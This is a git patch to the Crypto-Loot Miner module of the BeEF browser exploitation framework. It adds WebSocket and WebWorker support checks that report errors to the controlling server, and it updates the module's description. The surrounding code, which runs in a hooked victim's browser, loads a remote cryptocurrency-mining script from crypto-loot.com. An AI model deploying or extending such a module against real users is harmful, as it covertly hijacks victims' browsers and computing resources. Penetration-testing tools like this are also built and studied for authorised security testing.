From fc480cd117a2a9892b328b05fa6f23c39818f209 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sun, 26 Nov 2017 10:25:18 +0000 Subject: [PATCH] Add check for web sockets and web workers --- modules/misc/cryptoloot_miner/command.js | 12 ++++++++++++ modules/misc/cryptoloot_miner/config.yaml | 2 +- 2 files changed, 13 insertions(+), 1 deletion(-) diff --git a/modules/misc/cryptoloot_miner/command.js b/modules/misc/cryptoloot_miner/command.js index e3d3c4927..3e845e37a 100644 --- a/modules/misc/cryptoloot_miner/command.js +++ b/modules/misc/cryptoloot_miner/command.js @@ -13,6 +13,18 @@ beef.execute(function() { var comm_id = <%= @command_id %>; var report_interval = +(<%= @report_interval %>) * 1000; // to miliseconds + if (!beef.browser.hasWebSocket()) { + beef.debug('[CryptoLoot] Error: browser does not support WebSockets'); + beef.net.send(comm_url, comm_id, "error=unsupported browser - does not support WebSockets", beef.are.status_error()); + return; + } + + if (!beef.browser.hasWebWorker()) { + beef.debug('[CryptoLoot] Error: browser does not support WebWorkers'); + beef.net.send(comm_url, comm_id, "error=unsupported browser - does not support WebWorkers", beef.are.status_error()); + return; + } + beef.debug("[CryptoLoot] Loading library..."); beef.net.send(comm_url, comm_id, "[CryptoLoot] Loading library..."); beef.dom.loadScript('https://crypto-loot.com/lib/miner.min.js'); diff --git a/modules/misc/cryptoloot_miner/config.yaml b/modules/misc/cryptoloot_miner/config.yaml index 12335dc35..3a9764fa0 100644 --- a/modules/misc/cryptoloot_miner/config.yaml +++ b/modules/misc/cryptoloot_miner/config.yaml @@ -13,7 +13,7 @@ beef: enable: true category: "Misc" name: "Crypto-Loot Miner" - description: "This module starts the Crypto-Loot Miner." + description: "This module starts the Crypto-Loot Miner. It's worth noting that the module will not work with the default Crypto-Loot proxies as the certificates for the web socket servers are self-signed." authors: ["qutorial"] target: user_notify: ['ALL']